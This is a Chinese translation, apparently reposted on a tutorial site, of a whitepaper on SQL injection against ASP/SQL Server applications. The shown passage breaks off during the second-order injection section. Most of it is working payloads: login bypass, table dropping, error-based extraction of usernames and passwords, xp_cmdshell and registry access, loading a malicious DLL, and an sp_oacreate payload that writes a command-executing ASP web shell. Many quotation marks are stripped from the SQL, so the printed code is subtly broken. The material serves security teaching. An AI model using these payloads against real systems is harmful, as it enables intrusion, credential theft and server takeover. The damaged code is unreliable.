当前位置:Gxlcms > 数据库问题 > Sql-Server应用程序的高级注入

Sql-Server应用程序的高级注入

时间:2021-07-01 10:21:17 帮助过:14人阅读

-Server里的ActiveX 脚本] [存储过程] [高级Sql注入] [没有引号的字符串] [Sql-Injection二次注入] [长度限制] [躲避审核] [防范] [确认输入] [Sql-Server防御] [参考资料] 附录 A - SQLCrack(sqlcrack.sql) [概 要] 这篇文章讨论常用的"sql注入"技术的细节,应用于流行的Ms IIS/ASP/SQL-Server平台。这里探讨有关这种攻击各种可以注入程序访问数据和数据库防范的方法。 这篇文章面向两种读者:一是基于数据库web程序开发人员和审核各种web程序的安全专家。 [介 绍] 结构化查询语言(SQL)是一种用来和数据库交互的文本语言SQL语言多种多样,大多的方言版本都共同宽松地遵循SQL-92标准(最新的ANSI标准[译者注:目前最新的是SQL-99])。SQL运行的典型的操作是“查询”,它是可以让数据库返回“查询结果记录集”的语句集合。SQL语句可以修改数据库的结构(用数据定义语言"DDL")和操作数据库里的数据(用数据操作语言"DML")。我们在这里着重讨论Transact-SQL(交互式SQL),应用于SQL-Server的SQL一种方言(非标准SQL)。 如果攻击者可以插一系列的SQL语句进入应用程序的数据查询时,Sql注入攻击就可能发生。 一个典型的SQL语句是这样的: select id, forename, surname from authors 这个查询语句将会从authors表中返回idforenamesurname列的所有行。返回的结果集也可以加以特定条件author限制: select id, forename, surname from authors where forename = john and surname = smith 注意这里很重要的一点是johnsmith是被单引号引住的,假设forenamesurname字段是来自于用户的输入,攻击者就可能通过输入非法字符串来对这个查询进行SQL注入: Forename:john Surname: smith 查询语句就会变成: select id, forename, surname from authors where forename = john and surname = smith 当数据库试图执行这个查询,它会返回这样的错误: Server:Msg 170, Level 15, State 1, Line 1 Line 1:Incorrect syntax near hn 这是因为插入的单引号破坏了原来单引号引住的数据,数据库执行到hn时失败。如果攻击者这样输入: Forename: jo; drop table authors-- Surname: ...authors表就会被删掉,原因过一会再解释。 似乎通过删除用户输入的字符串中的单引号或者通过一些方法避免它们出现可以解决这个问题。诚然如此,但是要实施这个解决方法还有很多的困难。因为首先:不是所有的用户提交的数据都是字符串形式,比如我们的用户输入通过id(看上去是个数字)来选择一个用户,我们的查询可能会这样: select id,forename,surname from authors where id=1234 在这种情况下攻击者可以轻易的在数值输入后面添加SQL语句。在其他SQL方言中,使用着各种分隔符,比如MS Jet DBMS引擎,日期可以用#符号来分隔。 其次,避免单引号并不像开始我们想象的那样是必要的解决办法,原因下面讨论。 我们将以Active Server Pages(ASP)登陆页面为例子来详细说明,它访问一个Sql-Server数据库并且验证一个到我们假想的程序的访问。 这是用户填写用户名和密码的表单页面: <HTML> <HEAD> <TITLE>Login Page</TITLE> </HEAD> <BODY bgcolor=000000 text=cccccc> <FONT Face=tahoma color=cccccc> <CENTER><H1>Login</H1> <FORM action=process_login.asp method=post> <TABLE> <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%width=100></INPUT></TD></TR> <TR><TD>Password:</TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR> </TABLE> <INPUT type=submit value=Submit> <INPUT type=reset value=Reset> </FORM> </FONT> </BODY> </HTML> 这是process_login.asp的代码, 它处理用户登陆: <HTML> <BODY bgcolor=000000 text=ffffff> <FONT Face=tahoma color=ffffff> <STYLE> p { font-size=20pt ! important} font { font-size=20pt ! important} h1 { font-size=64pt ! important} </STYLE> <%@LANGUAGE = JScript %> <% function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str ); } function Login( cn ) { var username; var password; username = Request.form("username"); password = Request.form("password"); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = ‘" + username + " and password = " + password + "‘"; trace( "query: " + sql ); rso.open( sql, cn ); if (rso.EOF) { rso.close(); %><FONT Face=tahoma color=cc0000> <H1> <BR><BR> <CENTER>ACCESS DENIED</CENTER> </H1> </BODY> </HTML> <% Response.end return; } else { Session("username") = "" + rso("username"); %> <FONT Face=tahoma color=00cc00> <H1> <CENTER>ACCESS GRANTED<BR> <BR> Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end } } function Main() { //Set up connection var username var cn = Server.createobject( "ADODB.Connection" ); cn.connectiontimeout = 20; cn.open( "localserver", "sa", "password" ); username = new String( Request.form("username") ); if( username.length > 0) { Login( cn ); } cn.close(); } Main(); %> 这里讨论的是process_login.asp中的创建query string的部分: var sql = "select * from users where username = ‘" + username + "‘ and password = ‘" + password + ""; 如果用户指定了下面这样的数据: Username: ; drop table users-- Password: users表会被删除,所有用户都不能登陆。--是Transact-SQL(交互式SQL)的单行注释符,;标志着一个查询的结束另一个查询的开始。用户名最后的--用来使这个特殊的查询无错误结束。 攻击者只要知道用户名,就可以通过以下的输入以任何用户的身份登陆: Username: admin-- 攻击者可以通过下面的输入以用户表里的第一个用户来登陆: Username: or 1=1-- ...更有甚者,攻击者通过以下的输入可以以任意虚构的用户登陆: Username: union select 1, fictional_user, somoe_password, 1-- 因为程序相信攻击者指定的常量是数据库返回的记录集的一部分。 [通过错误信息获取信息] 这个技术是David Litchfield在一次渗透入侵测试中首先发现的,后来david写了篇关于这个技术的文章,很多作者都参考过这篇作品。这里我们讨论“错误消息”技术潜在的机制,使读者可以充分理解它并且能灵活应用。 为了操作数据库里的数据,攻击者要确定某个数据库的结构。例如:我们的"user"表是用下面的语句建立的: create table users( id int, username varchar(255), password varchar(255), privs int ) 并且插入了下面的用户: insert into users values( 0, admin, r00tr0x!, 0xffff ) insert into users values( 0, guest, guest, 0x0000 ) insert into users values( 0, chris, password, 0x00ff ) insert into users values( 0, fred, sesame, 0x00ff ) 我们假设攻击者要为自己插入一个用户,如果不知道表的结构的话,他不可能成功。即使他运气好,priv字段的重要性还不清楚。攻击者可能插入1,给自己在程序里添加了一个低权限的用户,而他的目标是管理员的权限。 对于攻击者来说幸运的是:如果程序返回错误(asp默认如此),攻击者可以猜测整个数据库的结构,读取ASP程序连接到SQL-Server的帐号权限内可以读取的任何值。 (下面给出的使用上面提供的示例数据库和asp脚本来说明这些技术怎样实现的) 首先,攻击者要确定查询的表名和字段名。要做到这点,攻击者可以使用select语句的having子句: username: having 1=1 -- 这会引起下面的错误(译者注:having字句必须和GROUP BY或者聚合函数一起配合使用,否则出错): Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server]Column users.id is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 所以攻击者就知道了表名和第一列的列名,他们可以通过给每列加上group by子句继续得到其他列名,如下: username: group by users.id having 1=1 -- (结果产生这样的错误) Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server]Column users.username is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 35 最后攻击者得到了下面的username group by users.id, users.username, users.password, users.privs having 1=1-- 这句没有错误,相当于: select * from users where username = ‘‘ 所以攻击者知道了查询只是关于users表的,并且顺序使用了列id,username,password,rpivs。 如果攻击者能确定各列的数据类型将会很有用,可以利用类型转换错误信息来达到这一点,看下面的例子: Username: union select sum(username) from users-- 这利用了SQL-Server试图在确定两行是否相同之前先执行sum子句的特性,计算文本域的和会返回这样的信息: Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35 它告诉我们username字段的类型是varchar。相反的,如果我们试图计算数值型的字段,但结果两行的列数并不匹配: Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35 我们可以用这个技术来大概地确定数据库内各列的类型。 这样攻击者就可以写出一个格式完美的insert语句: Username: ; insert into users values( 666, attacker, foobar, 0xffff )-- 但是,这个技术的潜力不止这些。攻击者可以利用任何错误信息来暴露系统环境或者数据库信息。执行下面的语句可以得到一个标准错误信息的清单: select * from master..sysmessages 检查这个清单可以发现很多有趣的信息。 一个特别有用的信息有关类型转换,如果你试图将一个字符串转换成整型,整个字符串的内容将会出现在错误信息里。以我们登陆页的例子来说,使用下面的username将会返回SQL-Server的版本以及它所在服务器操作系统的版本信息: Username: union select @@version,1,1,1-- Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) to a column of data type int. /process_login.asp, line 35 这试图将内置常量@@version转换成整型,因为users表第一列是整数。 这个技术可以用来读取任何数据库的任何表的任何内容,如果攻击者对用户名和密码感兴趣,他们就可以从users表读用户名: Username: union select min(username),1,1,1 from users where username > a-- 这将选出比a大的最小用户名,而且试图将它转换成一个整数: Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value admin to a column of data type int. /process_login.asp, line 35 攻击者就知道admin帐号存在,他现在可以把他发现的用户名放进where子句来反复测试这行: Username: union select min(username),1,1,1 from users where username > admin-- Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value chris to a column of data type int. /process_login.asp, line 35 一旦攻击者确定了用户名,他就可以搜集密码; Username: union select password,1,1,1 from users where username = admin-- Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value r00tr0x! to a column of data type int. /process_login.asp, line 35 一个更“别致”的技术是将用户名和密码连接成一个单独的字符传,然后试图将它转换成整型。这将举另一种例子;Transact-SQL语句可以将字符串连接成一行而不改变他们的意义,下面的脚本将连接这些值: begin declare @ret varchar(8000) set @ret=: select @ret=@ret+ +username+/+password from users where username>@ret select @ret as ret into foo end 攻击者用这个username登陆(明显都在同一行) Username: ;begin declare @ret varchar(8000) set @ret=: select @ret=@ret+ +username+/+password from users where username>@ret select @ret as ret into foo end-- 这创建了一个只包含单列ret的表foo,而且把我们的字符串放在里面。通常一个低权限的用户可以在示例数据库里创建表,或者一个临时表。 之后攻击者选择查询表里的字符串,就像前面说的: Username: union select ret,1,1,1 from foo-- Username: union select ret,1,1,1 from foo-- Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value : admin/r00tr0x! guest/guest chris/password fred/sesame to a column of data type int. /process_login.asp, line 35 然后删除这个表: Username: ; drop table foo-- 这些例子仅仅揭开了这项技术的神秘面纱,不用说,如果攻击者可以从数据库获得丰富的错误信息,他们的工作将大大的简化。 [更深入的访问] 一旦攻击者可以控制数据库,他们可能想通过这些权限来获得对网络更多的控制,可以通过很多方法来达到这一目的: 1.利用xp_cmdshell扩展存储以SQL-Server用户的身份在数据库服务器上执行命令 2.利用xp_regread扩展存储读取注册表的键值,也包括SAM(只要SQL-Server是以一个本地帐号运行的) 3.用其他的扩展存储改变服务器设置 4.在联合服务器上执行查询 5.创建客户扩展存储从而在SQL-Server进程内运行exploit 6.用bulk insert语句去读服务器上任何文件 7.用bcp在服务器上创建任何文本文件 8.用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程来创建ActiveX对象来完成asp脚本可以做的任何事情 这些只是常见的攻击方法的一部分;攻击者也很可能通过其他方法来达到目的,我们列举这些SQL-Server相关的攻击方法是为了说明如果程序可以被注入SQL语句时可能会发生什么,我们将依次给出以上各种情况的对策。 [xp_cmdshell] 扩展存储的本质是编译了的动态链接库(DLLs),它用SQL-Server指定的调用方式去运行接口函数。他们允许SQL-Server程序拥有了和c/c++一样的功能,是个非常有用的特性。SQL-Server内置了大量的扩展存储,而且有各种各样的函数比如发送邮件和更改注册表。 xp_cmdshell是一个内置的扩展存储,它允许执行任意的命令行程序。例如: exec master..xp_cmdshell dir 将会获得一个SQL-Server进程所在工作目录的列表 exec master..xp_cmdshell net1 user 将提供主机用户的列表。如果SQL Server正常的以本地system帐号或者domain user帐号运行,攻击者可以造成更严重破坏。 [xp_regread] 另外一个有用的内置的扩展存储是xp_regXXX函数 xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues xp_regread xp_regremovemultistring xp_regwrite 其中一些函数的用法的举例: exec xp_regread HKEY_LOCAL_MACHINE SYSTEM\CurrentControlSet\Services\lanmanserver\parameters, nullsessionshares (它决定服务器的空连接式共享是否可用) exec xp_regenumvalues HKEY_LOCAL_MACHINE SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities (它显示所有的服务器上SNMP公共的设置,通过这个信息,攻击者可以在相同的网络区域里重新配置网络设置,因为SNMP共有设置很少被改变而且由很多主机共享) 可以想象攻击者怎样利用这些函数来读取SAM文件,改变系统设置在重新启动后就被服务的应用,或者在用户下一次登陆时运行任意命令。 [其他扩展存储] xp_servicecontrol扩展存储允许用户启动,停止,暂停或者运行服务。 exec master..xp_servicecontrol start, schedule exec master..xp_servicecontrol start, server 下面是一些其他有用的扩展存储表: xp_availablemedia 显示机器上可用的驱动器 xp_dirtree 获得一个目录树 xp_enumdsn 列举服务器上的ODBC数据源 xp_loginconfig 显示服务器的安全状态信息 xp_makecab 允许用户在服务器上创建压缩文件(或者任何服务器可以访问的文件) xp_ntsec_enumdomains 列举服务器可以访问的域 xp_terminate_process 结束一个给定PID进程 [联合服务器] SQL-Server提供了一个服务器联合的机制,就是允许一个数据库服务器上的查询操作其他服务器的数据。这些联合设置存放在master..sysservers表里,如果一个相连的服务器使用了sp_addlinkedsrvlogin存储过程,一个自动的登陆了的连接已经存在,可以通过它不登陆而访问该服务器。openquery函数允许查询在联合服务器上执行。 [用户自定义扩展存储] 扩展存储的API是相当简单的,创建一个带有恶意代码的扩展存储DLL也是相当容易的。通过命令行有很多方法将DLL上传到服务器,还有其他的很多方法包括各种通信机制来自动实现,比如HTTP下载和FTP脚本。 一旦DLL文件出现在服务器上SQL-Server可以访问,这不一定需要SQL-server本身,攻击者可以通过下面添加扩展存储(这里,我们的恶意扩展存储是个用来操作服务器的文件系统小的木马) sp_addextendedproc xp_webserver, c:\temp\xp_foo.dll 扩展存储就可以通过一般的方法调用: exec xp_webserver 一旦这个扩展存储执行过,可以这样删除它: sp_dropextendedproc xp_webserver [向表中导入文本文件] 利用bulk insert语句,可以把一个文本文件的内容插入进一张临时表,我们简单的创建一个表: create table foo( line varchar(8000) ) 然后执行bulk insert来插入数据来自于一个文件: bulk insert foo from c:\inetpub\wwwroot\process_login.asp 通过上面介绍过的错误信息技巧就可以得到数据,或者通过一个union查询,把文本数据作为查询的数据返回。这对于获得存储在数据库里的脚本如asp脚本很有用。 [利用BCP创建文本文件] 利用和bulk insert作用相反的技术创建任意的文本文件非常简单。不过需要一个命令行工具bcp(bulk copy program),因为bcp在SQL-Server进程外访问数据库,它需要一次登陆。但是这不难,因为攻击者都可以创建一个;或者如果服务器配置使用了“完整性”安全模式,攻击者可以利用它。 命令行格式如下: bcp "Select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar S参数是要运行查询的服务器,U参数是用户名,P是密码,这里的密码是foobar。 [SQL-Server 里的ActiveX自动脚本] SQL-Server提供了一些内置的扩展存储,允许在SQL-Server内创建ActiveX自动脚本。这些脚本在功能上和windows scripting host上运行的脚本或者asp脚本(通常用Javascript或者Vbscript编写)一样,脚本创建自动对象并且通过他们产生作用。一个用Transact-SQL写的自动脚本可以做任何asp脚本或者WSH脚本能做的事。 下面提供一些例子来说明: 1)这个例子用wscript.shell对象创建一个notepad的实例(当然这里也可以是任何命令行命令) -- wscript.shell example declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, notepad.exe 在我们的例子里可以使用这样的用户名(都在一行): Username: ; declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, notepad.exe-- 2)这个例子用scripting.filesystemobject对象去读已知的文本文件: -- scripting.filesystemobject example - read a known file declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate scripting.filesystemobject, @o out exec sp_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 exec @ret = sp_oamethod @f, readline, @line out while( @ret = 0 ) begin print @line exec @ret = sp_oamethod @f, readline, @line out end 3)下面的例子创建一个asp脚本执行任意命令: -- scripting.filesystemobject example - create a run this .asp file declare @o int, @f int, @t int, @ret int exec sp_oacreate scripting.filesystemobject, @o out exec sp_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_oamethod @f, writeline, NULL, <% set o = server.createobject("wscript.shell"): o.run(request.querystring("cmd") )%> 需要注意的很重要的一点是Windows NT4,IIS4平台asp脚本将会以system的帐号运行,而在IIS5他们会以低权限的IWAM_xxx帐号运行。 4)这个例子(稍带欺骗性)说明这项技术的灵活性,它用speech.voicetext(译者注:参考ms-help://MS.VSCC/MS.MSDNVS.2052/dnwui/html/msdn_texttosp.htm)对象,使SQL Server说话: declare @o int, @ret int exec sp_oacreate speech.voicetext, @o out exec sp_oamethod @o, register, NULL, foo, bar exec sp_oasetproperty @o, speed, 150 exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528 waitfor delay 00:00:05 这当然也可以在我们的例子里使用,通过指定下面的username(注意例子不只是注入一段脚本,同时也以admin的身份登陆了程序) 用户名: admin;declare @o int, @ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod @o, register, NULL, foo,bar exec sp_oasetproperty @o, speed, 150 exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05- [存储过程] 传统的认识是如果ASP程序使用了数据库系统的存储过程,那么就不可能SQL注入了。这句话不完全对,这依赖于ASP脚本调用存储过程的方式。 本质上,一个带参数的查询执行了,用户提供的参数就被安全的传给查询,SQL注入就不可能了。但是,如果攻击者可以对无数据部分的查询语句施加任何影响,他们仍然可能控制数据库。 一个有用的规则是: 1. 如果ASP脚本创建了一个提交给服务器的SQL查询语句,这是很容易被SQL注入的,即使它使用了存储过程。 2. 如果ASP脚本使用了封装传递参数给存储过程的过程对象(如ADO command对象,和参数集合一起使用的)那么它通常就很安全了,但是这还要取决于对象的执行。 明显的,最好习惯于验证所有的用户输入,因为新的攻击技术会不停的涌现。 为了说明存储过程查询的注入,运行下面的SQL语句: sp_who 1 select * from sysobjects 或者 sp_who 1 ; select * from sysobjects 任何附加语句在存储过程执行后还是可以执行。 [高级Sql注入] 一个应用程序通常过滤单引号,另一方面限制用户的输入,比如限制长度。 在这里,我们将讨论一些绕过一些明显的SQL注入防范的和长度限制的技巧。 [没有符号的字符串] 有时候,开发人员可能已经通过过滤单引号来保护应用程序,比如用VBScript的replace函数: function escape( input ) input = replace(input, "", "‘‘") escape = input end function 不可否认,这会阻止所有的对我们上面给出的对示例站点的攻击,删除;字符也会起作用。但是,在一个大的程序里一些用户输入可能被假定为数值型。这些值没有限制,提供了很多可以注入的地方。 如果攻击者希望创建一个字符串值而不使用引号,他们可以用char函数。例如: insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff) 它是一个往表里插入字符的不带引号的查询语句。 当然,如果攻击者使用一个数值型的用户名和密码的话,下面的语句也同样可以很好的执行: insert into users values( 667, 123, 123, 0xffff) 因为SQL-Server自动将数值型的转换成varchar类型,类型转换是默认的。 [SQL二次注入] 即使一个程序总是过滤单引号,攻击者仍然可以先注入SQL作为数据存放在数据库里然后被程序再次使用。 比如,一个攻击者可能通过注册,创建一个用户名 Username: admin-- Password: password 程序正确的过滤了单引号,insert语句如下: insert into users values ( 123, admin‘‘--, password, 0xffff) 我们假设程序允许用户更改密码,ASP脚本在设置新的密码前先确认用户旧密码正确。代码可能这样写: username = escape( Request.form("username") ); oldpassword = escape( Request.form("

人气教程排行